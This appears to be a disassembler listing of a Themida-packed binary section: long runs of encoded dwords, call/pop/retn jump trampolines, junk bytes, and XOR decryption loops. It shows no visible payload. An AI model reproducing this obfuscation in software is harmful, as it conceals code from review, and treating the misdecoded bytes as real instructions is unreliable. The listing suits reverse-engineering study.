		dd 835F0614h, 141189BDh, 840F0006h, 3Bh, 0EE9h,	0A5AC8F00h
		dd 0CD9FE6F6h, 28705306h, 96749303h, 4713BF66h,	77EDBF50h
		dd 6A967902h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FFE5C355h, 17A7EAB5h,	0FFA8B06h
		dd 28Eh, 0FFD98B00h, 1402D595h,	0FF8FB306h, 17A7EAB5h
		dd 0FFF88B06h, 140B7595h, 0F8BF0F06h, 112DBD83h, 0F020614h
		dd 3E84h, 0E1858900h, 8B06141Ah, 14005585h, 1D9D0106h
		dd 0C6061403h, 6A0000h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 984E1CC3h
		dd 0A3FF59CDh, 0AD3811Ah, 0C7275E29h, 141E4985h, 6, 0DE96000h
		dd 0
; ---------------------------------------------------------------------------
		retf	0A454h
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FC23D702h, 0D3D87CFEh, 0C5BD89h, 0E9610614h, 0FFFFF2AEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h
		dd 4843484Bh, 0E080602Bh, 71B58911h, 61061415h,	6AC18Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 81A186C3h, 31A566D7h, 0A1BB666Ah, 91858D25h,	6A061407h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C6C2C351h, 2B52F8D0h, 0F62EA6FCh, 0A059501h
		dd 66500614h, 89ADB3BBh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0FA6BF9C3h, 3D35F3Bh
		dd 14026D9Dh, 6AFE8B06h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 67785D0Ah, 0F7D77642h
		dd 60D8BF0Fh, 25DDBD89h, 6A610614h, 0AD858D00h,	8B061889h
		dd 1419F9BDh, 5C08306h,	1E599589h, 50900614h, 6A90D98Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0A50BC355h, 0D2FD4EFBh, 290B61ECh, 0E5BD8Bh
		dd 81660614h, 6ADDBCCBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 36FC1B7Ch, 0A5338CB1h
		dd 7E89953h, 1D000000h,	4B09DEE7h, 0D88BB1FEh, 0F98B665Fh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 99FCB4C3h, 33C33A41h, 666C7C12h, 95FFD98Bh
		dd 6141B19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CC35545h, 66832669h, 0A19D8BDCh, 0BB06142Ah, 26A02DE7h
		dd 0A7788D8Dh, 6A0617h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0EA73F4C3h, 0FFF5E469h, 4973BBD1h
		dd 0BD8363B0h, 61401CDh, 86850F01h, 66000000h, 26ADA8Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 42C35343h
		dd 89FA8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 4218AFC3h, 5BEE9F71h, 60BBCF3Fh
		dd 162D9D8Bh, 8D090614h, 6140B49h, 0AD95FF61h, 6A061433h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0DEEEC357h, 815283F2h, 9D6279D3h,	0CAEE92Ch
		dd 0E80000h, 5D000000h,	89B7ED81h, 9D230618h, 6142F31h
		dd 68A0Fh, 9D8B0000h, 6142BADh,	8E49858Dh, 50FC0617h, 0D98B5250h
		dd 585A310Fh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 2CBAC352h, 7D34DDD7h
		dd 0FBB70F7Eh, 184D9D8Bh, 0FF640614h, 35h, 95958900h, 64061413h
		dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 48E5EEC3h, 0C30FFDADh, 53DF3DB6h
		dd 5FF88B66h, 0DFC38166h, 0ED85FFE1h, 8B06142Dh, 1420099Dh
		dd 60FF6A06h, 10DDBD8Bh, 0EE90614h, 0BE000000h,	0B0416FC8h
		dd 0A1EBA011h, 903B05B1h, 860F613Ch, 1,	55B5FFF5h, 0F06140Dh
		dd 380h, 0F98B6600h, 2A8995FFh,	0F3E90614h, 89000000h
		dd 140E5585h, 0BE906h, 47D70000h, 6FD9A36h, 0E364D103h
		dd 0E900B006h, 9, 5E22AB32h, 3E40FC8h, 8170E6EFh, 1D58E7F7h
		dd 0F71E46Ah, 68Bh, 798D8900h, 3C06142Eh, 0AF830F61h, 66000000h
		dd 0FAB7DBBh, 0BAF8C8B6h, 6, 0DC8AC18Bh, 6604E8C1h, 66EEFABFh
		dd 9D09E2F7h, 61417B5h,	0D18BC82Bh, 6E9F8h, 0BD8B0000h
		dd 61430BDh, 2F1858Bh, 9D0B0614h, 6142A09h, 8107C083h
		dd 5E928DC3h, 0C08355h,	830FD03Bh, 0Dh,	2349BD8Bh, 53E90614h
		dd 8B000000h, 0D98D8BFBh, 0E8061417h, 0Ah, 4B3F7781h, 573C24A4h
		dd 9D8BB49Fh, 6141B79h,	1E1835Fh, 2C840Fh, 9FBB0000h, 8A7DD90Bh
		dd 0D9A583FCh, 0FE061417h, 15BD0160h, 0F061419h, 388h
		dd 0F28B6600h, 0F1958961h, 8B061402h, 0E9FBh, 0B58D0000h
		dd 617F5EAh, 18E59D89h,	6A0614h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 58C35242h, 0E4E2DB14h, 880F6CF4h
		dd 5, 0F267EFBBh, 7195FF64h, 66061429h,	0A3B9F98Bh, 6A000007h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0B3D8C351h, 8BAED767h, 141171BDh,	0FCE18306h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BEC35040h
		dd 0C65C1114h, 0A5D704DAh, 6AFCF9CFh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 861FC353h
		dd 0FB18AE43h, 0B873h, 0BA0000h, 29000000h, 1407A19Dh
		dd 498D8906h, 0AD061423h, 0E8D1C233h, 0E983D003h, 66F47504h
		dd 5249D781h, 880DFA8Bh, 80000000h, 0B58917EFh,	6140255h
		dd 2B69958Bh, 57600614h, 8F0Fh,	615F0000h, 10558D8Bh, 29F50614h
		dd 1409598Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3760C357h, 0EEE6D7EFh,	8B21A87Ch
		dd 143465BDh, 0AE806h, 0DE570000h, 0E001A639h, 8180EC63h
		dd 65A2C381h, 815B21F8h, 0F024DACBh, 4DBD8375h,	6140Fh
		dd 8E840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 4CB6E0C3h, 0F9DF8166h, 0B860h, 0BD8B0000h
		dd 6140E4Dh, 4DFF8D8Dh,	6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FAD2EC3h, 0E1FFFABFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4EC35747h
		dd 12E803h, 4330000h, 82E4B04Eh, 1F9CFF2Ch, 0A7D8B012h
		dd 0F6B21B0Ah, 5BF88B66h, 13DBD83h, 0F000614h, 4EB84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0BE57558Ch, 55CF79CEh, 788EBB66h, 13DBD83h
		dd 0F010614h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C8B439ECh, 3636E35h
		dd 1415859Dh, 3DBD8306h, 3061401h, 467860Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 28520FC3h, 639B589h,	6A600614h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 39C7C357h
		dd 0A7C270CDh, 8BF91DD4h, 0DF8166D9h, 8C669DA1h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 5427693Fh, 0B531F443h, 6141C6Dh, 0A04E180h, 1C840FC9h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 38DC355h, 159D8B53h, 5F061418h
		dd 0E35858Bh, 81660614h, 33A2D3E3h, 1406A985h, 38F0F06h
		dd 66000000h, 5090F88Bh, 0BBB76052h, 0F61D48Ah,	5A62B331h
		dd 0F905058h, 6ADFB7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 18C35242h, 34567571h,	7B9719FCh, 1BADB531h
		dd 0F98B0614h, 4E8h
		dd 1F03FF00h, 14E900h, 0F7340000h, 310934C9h, 9E7BB38Ch
		dd 3236C5Eh, 415A4ADCh,	6050A675h, 0EE8h, 6117E00h, 0CC9857AFh
		dd 0D50490F3h, 66ECC100h, 0BA5FFA8Bh, 73FC398Bh, 24448B61h
		dd 66008B04h, 4489FE8Bh, 0D6BF0424h, 58782296h,	1BE59D8Bh
		dd 5B510614h, 89D95FFh,	8D0F0614h, 0Ah,	1616060h, 1419F59Dh
		dd 85896106h, 617A7EAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 88C35646h, 25DE9h, 8BD88B00h,	17A7E285h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1DAAC45Ch, 8DB58B60h, 0E8061425h, 12h, 0B854AEE7h
		dd 1EABEEEFh, 45C7AE78h, 6A184759h, 0DE998B1h, 0F9000000h
		dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 0C7615Ah, 18h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 0B9FF475h
		dd 348A31DFh, 17D5B589h, 0B58B0614h, 617A7E6h, 6830Fh
		dd 0BD030000h, 6140765h, 81858BFCh, 6A061402h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 9B65C356h, 6A068915h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 23E6C356h, 0F9CAA3Dh
		dd 9D8BDABFh, 6142DF1h,	0E35858Bh, 0B5890614h, 6140F01h
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0BBFCC355h, 8BF9D37Eh,	8935AE76h
		dd 141B8D95h, 0BB665006h, 3489EDD3h, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 55AC9FFFh
		dd 0B5FF80F7h, 617A7E2h, 0EE9h,	7024A800h, 0CF684BD3h
		dd 0F7DAAB4Ah, 0E800149Fh, 4, 1F03FFh, 16E624BFh, 0DE9503Eh
		dd 0FB000000h, 74AB0C93h, 3AC2F56Ah, 327AE946h,	424448Bh
		dd 12E8h, 0FE43D600h, 0AF291F79h, 191426F0h, 0D5FD63FFh
		dd 5F1B2B0Fh, 5250008Bh, 28BF66h, 12B7310Fh, 4489585Ah
		dd 0BF660424h, 8B5882E2h, 141C399Dh, 0EA858D06h, 6A0617A7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0D69C350h, 2DF07C56h, 0DE85F43h, 0B4000000h
		dd 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 5BDFB70Fh,	38B86090h
		dd 0B81A804Fh, 6CB29D8Ah, 0F98B5061h, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 810F6716h, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+614089Dh]
		push	0
		push	eax
		call	sub_5C6D85
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6D85	proc near		; CODE XREF: Themida_:005C6D7Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C6D85	endp

; ---------------------------------------------------------------------------
		db 7Bh,	8Fh, 2Eh
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6142329h]
		popa
		push	0
		push	ecx
		call	sub_5C6DAA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6DAA	proc near		; CODE XREF: Themida_:005C6DA2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C6DAA	endp

; ---------------------------------------------------------------------------
		dw 0E6D7h
; ---------------------------------------------------------------------------
		jmp	loc_5C6DC9
; ---------------------------------------------------------------------------
		db 44h,	21h, 4Ah
		dd 0CFF9CFEDh
		db 0D5h
; ---------------------------------------------------------------------------


loc_5C6DC9:				; CODE XREF: Themida_:005C6DBCj
		mov	dword ptr [ebp+614013Dh], 3
		movsx	edi, si
		mov	[ebp+6140C65h],	ebx
		cmp	dword ptr [ebp+617A7EAh], 0
		jz	loc_5C6E09
		mov	[ebp+61415C5h],	ebx
		movzx	ebx, ax
		jmp	loc_5C6E24
; ---------------------------------------------------------------------------
		mov	[ebp+6142561h],	ecx
		jnp	loc_5C6E09
		mov	ebx, [ebp+6143051h]


loc_5C6E09:				; CODE XREF: Themida_:005C6DE3j
					; Themida_:005C6DFDj ...
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C6E09
		jmp	short loc_5C6E5A
; ---------------------------------------------------------------------------


loc_5C6E24:				; CODE XREF: Themida_:005C6DF2j
					; Themida_:005C6E3Bj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C6E24
		jmp	short loc_5C6E5A
; ---------------------------------------------------------------------------


loc_5C6E3F:				; CODE XREF: Themida_:005C6E56j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C6E3F
		jmp	short $+2


loc_5C6E5A:				; CODE XREF: Themida_:005C6E22j
					; Themida_:005C6E3Dj
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5C6E67
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6E67	proc near		; CODE XREF: Themida_:005C6E5Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5C6E67	endp

; ---------------------------------------------------------------------------
		mov	ds:3862A4F9h, al
		mov	ecx, [ecx+1424B595h]
		push	es
		mov	edi, 56546478h
		mov	bh, 24h
		cmp	dword ptr [ebp+614013Dh], 3
		jnz	loc_5C71CE
		push	edi
		mov	bl, 0CFh
		pop	edi
		cmp	dword ptr [ebp+617A7EAh], 0
		jz	loc_5C71CE
		mov	[ebp+6140D59h],	esi
		push	dword ptr [ebp+617A7EAh]
		push	0
		push	esi
		call	sub_5C6EBF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6EBF	proc near		; CODE XREF: Themida_:005C6EB7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5C6EBF	endp

; ---------------------------------------------------------------------------
		db 0EAh
		db 90h
; ---------------------------------------------------------------------------
		mov	ch, 0FFh
		xchg	eax, ebp
		cmp	[ebx], eax
		adc	al, 6
		mov	esi, [ebp+617A7DEh]
		push	0
		push	edx
		call	sub_5C6EE9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6EE9	proc near		; CODE XREF: Themida_:005C6EE1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C6EE9	endp

; ---------------------------------------------------------------------------
		cmp	al, 0ECh
		sub	eax, [esi+0Fh]
		mov	bh, 0FBh
		mov	dword ptr [esi], 10001h
		push	0
		push	ebp
		call	sub_5C6F11
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6F11	proc near		; CODE XREF: Themida_:005C6F09p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C6F11	endp

; ---------------------------------------------------------------------------
		db 40h,	0CEh, 6Bh
; ---------------------------------------------------------------------------
		adc	ecx, ebp
		adc	dword ptr [ebx+2398529h], 14h
		push	es
		xchg	eax, esi
		push	eax
		xchg	eax, esi
		push	0
		push	eax
		call	sub_5C6F3C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6F3C	proc near		; CODE XREF: Themida_:005C6F34p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C6F3C	endp

; ---------------------------------------------------------------------------
		dd 47170C9Fh, 0B708D0F6h, 0B5FF6DD4h, 617A7EAh,	1361BD33h
		dd 95FF0614h, 6141081h,	0A7DEB58Bh, 0BB660617h,	858BBD85h
		dd 6140FF9h, 8E9h, 0E8942D00h, 93C8D201h, 0C48689EBh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0DE84C356h, 91E3BF66h, 2B69958Bh,	0DF810614h
		dd 6466BE02h, 83D98B66h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 9860F9C3h, 0BD1E565Fh
		dd 508912C9h, 6DBD8920h, 89061426h, 1426699Dh, 23858D06h
		dd 890617BCh, 1420D185h, 0B8868906h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 7597C357h, 1C5D9589h, 6A0614h, 3860Fh, 8B660000h, 0EAB5FFDFh
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0CF78C356h, 33AD95FFh,	6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 9D9E58C3h, 95890A1Ch, 6141AF5h, 0F355BF96h, 8B502987h
		dd 6A96DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 44AB3CC3h, 0C475CF19h, 0DB1B529h,	0B5FF0614h
		dd 617A7EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	8BC35545h, 582FF72h, 605350CEh,	0FF5B5F61h, 14230995h
		dd 89BD8306h, 61411h, 12840Fh, 0BF0F0000h, 0D88B96FBh
		dd 96DA8B50h, 0BD895B51h, 61420C5h, 0A7EAB5FFh,	0BB660617h
		dd 95FFFB2Fh, 61402D5h,	8459D8Bh, 0B5FF0614h, 617A7EAh
		dd 39AAD781h, 95FF3B84h, 6140B75h, 0DE9h, 4B368600h, 54117C2Dh
		dd 97C7E005h, 0BD830F69h, 614112Dh, 6D840F02h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4466C352h, 6E9F9h, 7FB50000h, 6739D1DEh
		dd 55858Bh, 6A0614h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 180424h, 52420000h, 2C6585C3h, 8B669668h, 0C6F8h, 0CE8h
		dd 0CADF3E00h, 2A3056E9h, 3A05F6A2h, 0C595894Fh, 5B061415h
		dd 1E4985C7h, 614h, 9D8B0000h, 6141EB9h, 19A99589h
; ---------------------------------------------------------------------------
		adc	al, 6


loc_5C71CE:				; CODE XREF: Themida_:005C6E91j
					; Themida_:005C6EA2j
		jmp	near ptr dword_5C62AC+34Dh
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6140505h]
		mov	eax, ecx
		push	0
		push	edi
		call	sub_5C71E6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C71E6	proc near		; CODE XREF: Themida_:005C71DEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C71E6	endp

; ---------------------------------------------------------------------------
		dw 80Eh
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		inc	ebx
		xchg	edi, [ebx]
		jmp	loc_5C7223
; ---------------------------------------------------------------------------
		db 29h,	57h, 0B0h
		dd 10h,	6 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5C7223:				; CODE XREF: Themida_:005C71FCj
		jmp	loc_5C77B3
; ---------------------------------------------------------------------------
		dd 5CA0DBEBh, 47CBC2C3h, 2CF0ADD8h, 1A1E95B3h, 0FF037E8Dh
		dd 0DBEA587Ch, 0C8C562A6h, 0B2DE49CDh, 92B433F7h, 77A171Bh
		dd 0E804ABA6h, 21EB2855h, 0DAD3F48Bh, 3FEC26A2h, 1E6D9E0Dh
		dd 407CB6F3h, 999D103Fh, 316C9BE2h, 99D74F19h, 67A3A67Ch
		dd 0EDA8A443h, 27566827h, 73ACA417h, 7ED4C694h,	0B6C8878Dh
		dd 3E457D0h, 1B7F53F0h,	1554C7F7h, 0A279BBF6h, 0F6E91EA1h
		dd 0F89F2FDCh, 5F6F1E2Fh, 0E3A7D7FBh, 9CAEDD34h, 86821DE1h
		dd 0B760F00Bh, 65FE928Bh, 0A23DF53Fh, 8CD3EBA6h, 91F6067Fh
		dd 97A2037Eh, 2C53F0CEh, 0EE05EA28h, 671E2C33h,	0D7D2FEADh
		dd 0FBB2D453h, 0CED862C3h, 0C8FA53F0h, 0ACDAA5D5h, 0D2BDD9F1h
		dd 37A8CBBh, 19701F1Fh,	94E913D9h, 0EF1C6385h, 56837CB6h
		dd 29000000h, 6C7AFD8Bh, 0FF8E58DFh, 536B2220h,	5C6E3DF7h
		dd 0E75A2A21h, 673C56B3h, 1E9F2FE5h, 53F0DE2Dh,	0C4167D12h
		dd 8594D916h, 1A0h, 66670C00h, 47780737h, 9255E441h, 6AEE53F0h
		dd 1B293646h, 432C6860h, 0B1EC1D2Ch, 0DDD0F26Dh, 0FFAEDFAEh
		dd 9C94BCFh, 356867CBh,	54497A05h, 0CB99F224h, 350A6221h
		dd 0DBA07223h, 3B7695B4h, 39089500h, 0BA53F05Bh, 0B945CD6h
		dd 524D79F9h, 46411E2Eh, 0F71B92B0h, 138AB8C7h,	2F6664FBh
		dd 0C52C6B1Fh, 0EAFBD98Fh, 0BDA10978h, 0C4EA5A0h, 8594EAEEh
		dd 89E8h, 6867C400h, 4F7A0535h,	61CE3952h, 53F092D2h, 8727ED51h
		dd 0CEFD14C3h, 5EC9C2BFh, 0F09262D1h, 979DE153h, 5F4544E3h
		dd 0F09263DEh, 789CE053h, 0B685D340h, 0B39C1368h, 848259DBh
		dd 0A1ACF109h, 0E4F2084Ah, 60EC8594h, 0C8000000h, 0C1CE6867h
		dd 0D7A8A0C4h, 0B7C8C0BBh, 65D6E695h, 0F0920938h, 99868A53h
		dd 51053568h, 0F74BCF26h, 0BD8C2984h, 3653F092h, 0D43BC052h
		dd 0E01B96B5h, 92192875h, 4D9A53F0h, 0D75D413Ch, 6667D123h
		dd 0A4A60737h, 9953F092h, 8D539FF6h, 2985948Ch,	0Bh, 0D762C33Eh
		dd 6CAC0F66h, 67202AE8h, 4619316Ch, 0D6314944h,	0D6F11067h
		dd 0DE2F57DBh, 0D61491AAh, 2F49DC62h, 3A4C132Bh, 48384843h
		dd 0B15F6B33h, 0A2D1C99h, 0A2A655E4h, 23BC74BEh, 0E6516A21h
		dd 0E40A8AB9h, 0F050955h, 54D14CBFh, 55E40AE5h,	9D181A7Eh
		dd 55E40AA0h, 0C6056CABh, 0ABB2C9C4h, 652DE79Eh, 0C927C8FAh
		dd 60966A07h, 289BB3D7h, 0B28E2F51h, 871B11F3h,	9805365Ah
		dd 55E47FA9h, 3FEC262Ah, 0B86E9E0Dh, 0B3D5F41Bh, 7FF34EEFh
		dd 0C7055E4h, 7F83BEFFh, 3C0055E4h, 6E9CE318h, 0DFC3BACCh
		dd 0EB319D55h, 8B8BA979h, 18Eh,	0C618021h, 0F09290A3h
		dd 88DD1353h, 77E6A171h, 0D2E90D31h, 92137F8Bh,	53F0CCA7h
		dd 0FE34583Ch, 0BA0252CDh, 1C9F11F6h, 0C1414CC6h, 2249DCA5h
		dd 70334ACh, 62ACBFBh, 245769F6h, 564547E0h, 74275926h
		dd 0F84BD447h, 7B55E460h, 6094A700h, 2B2F55E4h,	7B10D07h
		dd 0F68EA1C8h, 0D6AAAF8Bh, 265F6C4Fh, 295BF002h, 0BC0B5972h
		dd 17E7199Dh, 0B1C9C4C5h, 25FF3155h, 998F0E00h,	3E9A5ED4h
		dd 8BA92EF0h, 6A8Eh, 65802A00h,	9043EC1Fh, 53D3F092h, 928CBFF8h
		dd 307D3F0h, 9594EC1Fh,	0A0A43402h, 1C8F3FF5h, 0F6ABDAA1h
		dd 0C87B42C6h, 4BD3F005h, 0F1404DC7h, 0DED3F005h, 3847DA31h
		dd 1E7A920Bh, 5F140EDh,	0E72D3F0h, 0D455B004h, 48CCFCB9h
		dd 7BA41724h, 0D3F005C8h, 93ABE2E0h, 35FF4337h,	57E2D8Ah
		dd 91F553F0h, 9C5F8Dh, 80D50000h, 47E01B61h, 49DC6A83h
		dd 67F81074h, 75F23665h, 55235853h, 21E25049h, 803CF66Ah
		dd 0E4901F21h, 58271455h, 0FD59712Ch, 241A837h,	0F9898D00h
		dd 376667E8h, 4B68F813h, 0F3046E67h, 69CDDCAFh,	0AED24193h
		dd 91E85B64h, 85013974h, 9AD00E8Fh, 2D114FCDh, 4E3D4F1Eh
		dd 6C58DA3Eh, 82BAF113h, 0BBD3CEFDh, 0DCECA9A4h, 0BC86ED2Ah
		dd 0DA55BC9Bh, 0F30B8283h, 0D8299D97h, 0C01E9FACh, 145F4F0h
		dd 1782F93Dh, 0B539BB96h, 3C779341h, 4734880Ch,	0B5396BE6h
		dd 4064E841h, 618048B2h, 1747E01Bh, 0E849D9E5h,	98E75464h
		dd 2FFC3667h, 0D3C791Dh, 8655E805h, 6683C370h, 0F71BBBCAh
		dd 0AED04FD3h, 8CBDCCFFh, 6466F911h, 0BF0F0529h, 514E2C7Eh
		dd 0B3DAB5BFh, 34C97294h, 0C26D1D7Ah, 0B9498BCh, 514C79F9h
		dd 81B9DD39h, 0A5D5D0FEh, 6D9CF322h, 6CC5D25Bh,	0F0B22760h
		dd 0ADDF48CCh, 11FCCEFEh, 7A000000h, 35491F8Ch,	37ED1E30h
		dd 0D0CBFD2Ah, 6CD65CB8h, 4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 0E689561Fh, 4C681h, 0EE830000h, 24348704h
		dd 6824248Bh, 1823h, 68242C89h,	716Ah, 57243C89h, 0EA4D4668h
		dd 0BE565F06h, 486B3D99h, 0F75EF701h, 49CF81D7h, 8173806Bh
		dd 91E8DDEFh, 5FFD89EDh, 161E68h, 24248900h, 4240483h
		dd 25DD685Fh, 2C890000h, 8478F24h, 5F2434FFh, 4C481h, 2C8B0000h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 0FBE4D7E9h, 5684B1FFh
		dd 316A98A5h, 0D58F88AFh
; ---------------------------------------------------------------------------
		sbb	[esi+75h], ebx


loc_5C77B3:				; CODE XREF: Themida_:loc_5C7223j
		mov	eax, 6189B8Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 49E847BBh, 5050E76Dh, 611AE585h, 93378D0h, 7E9748E1h
		dd 0BBBEDD1h, 4CC8D6DAh, 69BDB235h, 7AA640F8h, 4DE6E0C1h
		dd 791858Dh, 7E90614h, 0A2000000h, 68FD1C3Eh, 60905201h
		dd 59525250h, 0CCB9310Fh, 5A3383B7h, 61606058h,	91B6B866h
		dd 66506161h, 8990F88Bh, 1416F985h, 8B006A06h, 14264D9Dh
		dd 99D0B06h, 6A061411h,	10E900h, 0DCA90000h, 0B30ACF28h
		dd 0CC78DC19h, 0AF5FA7D3h, 858DBDD6h, 6189DF8h,	53C5BF66h
		dd 8105C083h, 0C80AB6C3h, 0ADBD097Eh, 5006141Fh, 8139BB66h
		dd 0F240489h, 5760F8B7h, 10E5B58Bh, 895A0614h, 1412E98Dh
